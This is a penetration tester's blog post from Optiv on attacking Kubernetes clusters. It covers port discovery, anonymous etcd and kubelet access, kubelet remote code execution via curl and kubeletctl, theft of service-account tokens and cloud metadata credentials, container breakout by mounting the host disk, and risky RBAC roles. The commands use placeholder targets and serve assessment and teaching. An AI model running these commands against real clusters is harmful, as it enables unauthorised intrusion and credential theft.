Kubernetes Attack Surface

As more enterprises adopt cloud technologies such as microservices and containers, Kubernetes is becoming a crucial part of their IT ecosystem. Kubernetes is an open-source container-orchestration system for automating computer application deployment and management at scale. Although Kubernetes brings significant benefits to organizations, it also introduces new attack surfaces. Today, we will discuss some of the prevalent attack paths for Kubernetes.

 

kas 1

Figure 1: Kubernetes Threat Matrix (Source: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/)

 

 

Kubernetes Basics

Some of the technologies and terminologies used in this blog may be foreign to you if you have not used Kubernetes before. We will cover some Kubernetes basics here.

 

Master Node

A master node controls and manages a set of worker nodes in a Kubernetes cluster. Some of its core components are as follows:

 

Master Node Components
API Server Component on the master node that exposes the Kubernetes API.
Controller Manager A daemon that embeds the core control loops shipped with Kubernetes.
Scheduler Component on the master that watches for newly created pods with no node assigned, then selects a node for them to run on.
etcd A consistent and highly available key value store used as Kubernetes’ backing store for all cluster data, including secrets.

 

 

Worker Node

Worker nodes are usually containerized applications that host pods, which are an application’s workload, such as a Docker container running a Ngnix web server, or a MySQL database. Some of its core components are:

 

Worker Node Components
Kubelet An agent that runs on each node in the cluster. It makes sure that containers are running in a pod.
cAdvisor cAdvisor auto-discovers all containers in the machine and collects statistics like CPU, memory, filesystem and network usage. cAdvisor is integrated into Kubelet binary.
Kube-proxy Kube-proxy enables the Kubernetes service abstraction by maintaining network rules on the host and performing connection forwarding (iptables and IPVS).
Pod A pod is a group of one or more containers (such as Docker containers), with shared storage/network and a specification for how to run the containers.

 

 

Initial Access & Discovery

 

Public Repository Search for Credentials/Access Keys/Configuration Files

There is nothing different from our usual discovery process regarding open source intelligence (OSINT) against Kubernetes. First, one should search for public code repositories, such as Github and Gitlab, for stored credentials or secret keys. It happens rarely, but developers may accidentally commit their projects into public repositories with hardcoded credentials. If the target organization’s repositories are small, you can do a manual search to look for file extensions like .config and .conf, which may contain hard-coded credentials. However, several open-source tools can automate these search efforts:

 

 

kas 2

Figure 2: Example TruffleHog Scan Results

 

 

Searching for Exposed Services

 

Common Kubernetes Service Ports

If a Kubernetes cluster is configured properly, it exposes a very limited attack surface. Ideally, the Kubernetes API server should be the only asset that can be accessed outside the cluster. And when exposed, it should be securely configured with TLS as well.

 

However, not all environments will be perfectly hardened or appropriately configured. For instance, a pod might be misconfigured to talk to the outside world directly. In your initial discovery stage, it would be a good idea to perform a quick scan against the following common Kubernetes ports:

 

Example Kubernetes Ports
443/TCP (Kubernetes API Port)
6443/TCP (Kubernetes API Port)
8443/TCP (Minikube API Port)
8080/TCP (Insecure K8s API Port)
10250/TCP (kubelet API)
10251/TCP (kube-scheduler)
10252/TCP (Controller-manager)		 Kube API Server
2379/TCP (etcd Storage)
2380/TCP (etcd Storage)
6666/TCP (etcd Storage)		 etcd Client Server
4194/TCP (Container Metrics) cAdvisor
9099/TCP (calico-felix) Health Check Calico Server
6782-4/TCP (weave) Metrics and Endpoints
30000-32767/TCP NodePort Service

 

API Server

By default, Kubernetes API endpoints will not allow anonymous access. However, if the API endpoints are misconfigured and accessible without authentication, it might be possible to enumerate directories.

 

$ curl http(s)://<Kubernetes-Master-Server >: <Port >

 

Example Directories:

 

/api
/api/v1
/apis
/apis/
/apis/apps
/apis/apps/v1
/apis/autoscaling
/apis/autoscaling/v1
/apis/batch
/apis/batch/v1
...

 

It would also be a good idea to perform directory fuzzing/brute-forcing against the API endpoints to discover any customized or hidden directories or files.

 

etcd Server

A Kubernetes etcd server stores the cluster secrets and configurations files. By default, the etcd endpoints will not allow anonymous access. However, it is good to check:

 

$ curl http://<Kubernetes-Master-Server >:2379
$ curl http://<Kubernetes-Master-Server >:6666/v2/keys

 

If it allows anonymous access, try the following etcdctl command to retrieve the secrets:

 

$ etcdctl --endpoints=<Kubernetes-Master-Server >:2379 get / --prefix --keys-only

 

If the etcd server is configured with a TLS certificate:

 

$ etcdctl --endpoints <Kubernetes-Master-Server >:2379 --cacert <ca_cert_path> --cert <cert_path> --key <cert_key_path> get / --prefix --keys-only

 

Kubelet

Kubelet is an agent that is deployed on pods in the cluster so that the API server can talk to them. For this reason, kubelet can create containers and have complete control over pods running in the cluster. These functions are completed via kubelet API calls.

 

 

 

If kubelet is exposed, it will listen on the default port 10250/TCP. There are common APIs like “/pods” for listing the pods in the kubelet’s worker node, but there are also many undocumented APIs.

 

Discovering Kubelet:

$ https://<Kubelet-IP>:10250/pods

 

If you locate exposed kubelet endpoints, you can potentially read sensitive data and execute remote code execution (RCE) attacks on the affected container.

 

Example RCE using the Exposed API Calls:

$ curl -ks -X POST https://<Kubelet-IP>:10250/run/<namespace>/<pod>/<container> -d "cmd=id /""

$ curl -k -H "Connection: Upgrade" \
-H "Upgrade: SPDY/3.1" \
-H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
-H "X-Stream-Protocol-Version: channel.k8s.io" \
-X POST "https://<Kubelet-IP>:10250/exec/<podNamespace>/<podID>/<containerName>?command=id&command=/&input=1&output=1&tty=1"

 

To attack this, you can also use the open-source tool called kubeletctl created by the CyberArk team.

 

1) Scanning for accessible kubelet API

$ kubeletctl scan --cidr 172.31.16.0/24

 

2) List pods

$ kubeletctl pods

 

3) List token

$ kubeletctl scan token

 

4) RCE

$ kubeletctl scan rce
$ kubeletctl exec "id" -p <Pod Name> -c <Container Name>

 

Note: If you target the Kubernetes environment deployed in managed Kubernetes services like AWS EKS, Azure AKS or Google GKE, kubelet attacks might be limited. It is because those services usually prevent unsecured settings for the kubelet APIs.

 

 

Post-Initial Access

 

Container Access

Let’s say that you’ve breached the target Kubernetes environment by exploiting a vulnerability identified on a cluster and successfully gained access to one of the pod containers. Now, let’s talk about another attack surface with this container access.

 

Service Account Token

By default, a container in the Kubernetes cluster will hold a service account token within its file system. If attackers find that token, they can use it to move laterally, or depending on the privilege of the service account, they can escalate its privilege to compromise the entire cluster environment.

 

$ cat /run/secrets/kubernetes.io/serviceaccount/token

 

kas 4

Figure 4: Example service account token

 

 

The service account token is created with JSON Web Token (JWT), which is an open standard of RFC-7519. One can use https://jwt.io/ to decode the base64-encoded part of the JWT token (HEADER and PAYLOAD sections) and learn more about the service account:

 

kas 5

Figure 5: Decoding Service Account Token

 

 

Kubernetes API Enumeration

 

After gaining access to a service account token (JWT_Token), you can now perform some authenticated Kubernetes API enumerations:

 

# List Pods:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/

# List Secrets:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/

# List Deployments:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/deployments

# List Daemonsets:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets

 

Cloud Secret Key

 

With container access, you can also attempt to retrieve cloud secret keys via metadata instances. For example, if one can access AWS IAM secrets, they may have permission to access AWS resources.

 

AWS (Amazon):

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

 

GKE (Google):

$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email

$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/

$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/kube-env

 

Note: Adding the “X-Google-Metadata-Request” header is required since Google has implemented controls to prevent people from abusing the metadata endpoint.

 

AKE (Azure):

$ curl http://169.254.169.254/metadata/instance/compute?api-version=<version>

 

Note: Azure supported API versions can be found here.

 

Container Breakout

By default, containers will run as either privileged or root access within the pods. But if you land on a container that is not configured with default settings, you may need to escalate your privileges or escape from it in order to gain access to the underlying host OS.

 

There are many ways to break out of the containers, and the following resources may give some ideas:

 

 

Writable hostPath Mount

 

Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below are some common things you can check within the container to see if you can leverage this attack vector:

 

# Check if you can write to a filesystem
$ echo 1 > /proc/sysrq-trigger

# Check root UUID
$ cat /proc/cmdline

BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e6<Redacted>858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

## Check underlying host filesystem
$ findfs UUID=<UUID Value>

/dev/sda1

## Attempt to mount the host's filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-test

# debugfs (Interactive filesystem debugger)
$ debugfs /dev/sda1

 

kubectl Access

 

In another situation, let's say you gained access to a computer that belonged to a Kubernetes engineer or cluster owner. Now you can probably use the already installed kubectl command to access the Kubernetes cluster.

 

kubectl Config File

The first thing you can do is search for common locations for the Kubernetes configurations.

 

# Kube Configuration
$ cat $HOME/.kube/config

# Cluster-Level Configuration
$ cat /var/lib/kubelet/config.yaml
$ cat /etc/kubernetes/kubelet.conf

# Instance-Specific Configuration
$ /var/lib/kubelet/kubeadm-flags.env

# etcd Configuration
$ cat /etc/kubernetes/manifests/etcd.yaml

# Bootstrap Configuration>
$ /etc/kubernetes/bootstrap-kubelet.conf

# Kubernetes Key
$ cat /etc/kubernetes/pki

 

Basic kubectl Command

 

We will cover some basic kubectl commands here, which can be used for the initial enumeration against the target cluster.

 

# Node Information
$ kubectl get nodes -o wide

# Pod Information
$ kubectl get pods --all-namespace -o wide
$ kubectl describe pods <Name of the Pod>

# Secret Information
$ kubectl get secrets

# Exec into Pod
$ kubectl exec -it <Name of the Pod> /bin/bash

 

Risky RBAC Assessment

 

Regarding Kubernetes Role-based Access Control (RBAC), there are two main ones:

 

  • Roles: This will grant access to a specific namespace in the cluster.
  • ClusterRoles: This will grant access to all namespaces in the cluster. You can think of this privilege the same as a domain admin in a Windows Active Directory environment.

 

# Role
$ kubectl get role -o yaml

kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: ""
name: k8s-role-test
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"] # List, Get, Create

# ClusterRoles (* It requires right privilege to retrieve data)
$ kubectl get clusterrole -o yaml

kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: ""
name: k8s-role-test
rules:
- apiGroups:
- '*'
resources:
- '*'
verbs:
- '*' # List, Get, Create

 

  • resources [“*”] + verbs [“get”]: This can be used to access secrets from other service accounts.
  • resources [“*”] + verbs [“list”]: This can list other users’ secrets, which can be used for lateral movement and/or privilege escalation in the cluster.
  • resources [“*”] + verbs [“create”]: This allows creation of any resources in the cluster, such as pods, roles, etc.

 

Kubernetes Auditing/Pen testing Tools

 

Finally, several great open-source tools can help you automate some of the vulnerability scanning and discovery of common misconfigurations within the target Kubernetes environment:

 

 

Conclusion

 

In this blog, we briefly discussed the basics of Kubernetes and the attack vectors for a Kubernetes environment. We went over some tactics around initial access and discovery, as well as post-initial access perspectives. We want to say that this is just a starting point. As Kubernetes and cloud-native technologies rapidly evolve, there will be plenty more security considerations around their attack surfaces. As security practitioners, we should continuously familiarize ourselves with these new technologies and help identify security gaps to improve their security postures.

 

References


Kubiscan (Scan Kubernetes cluster for risky permissions)
Kube-hunter (Kubernetes Vulnerability Scan Tool)
Kube-bench (Scan for CIS Kubernetes Benchmark)

Daniel Min
By:
Daniel Min
Threat Management Technical Manager | Optiv
Daniel Min is a Technical Manager in Optiv’s Threat Management practice with a concentration on various simulated security assessments. Daniel is a Subject Matter Expert (SME) in cybersecurity assessments including breach simulations, perimeter and internal penetration testing, web application and cloud security testing. He has a strong passion for security vulnerability researching, exploit development and tool automations.
  • Copyright © 2024 Optiv Security Inc. All rights reserved.

  • No license, express or implied, to any intellectual property or other content is granted or intended hereby.

  • This blog is provided to you for information purposes only. While the information contained in this site has been obtained from sources believed to be reliable, Optiv disclaims all warranties as to the accuracy, completeness or adequacy of such information.

  • Links to third party sites are provided for your convenience and do not constitute an endorsement by Optiv. These sites may not have the same privacy, security or accessibility standards.

  • Complaints / questions should be directed to Legal@optiv.com
Related Insights

How Can We Help?

Let us know what you need, and we will have an Optiv professional contact you shortly.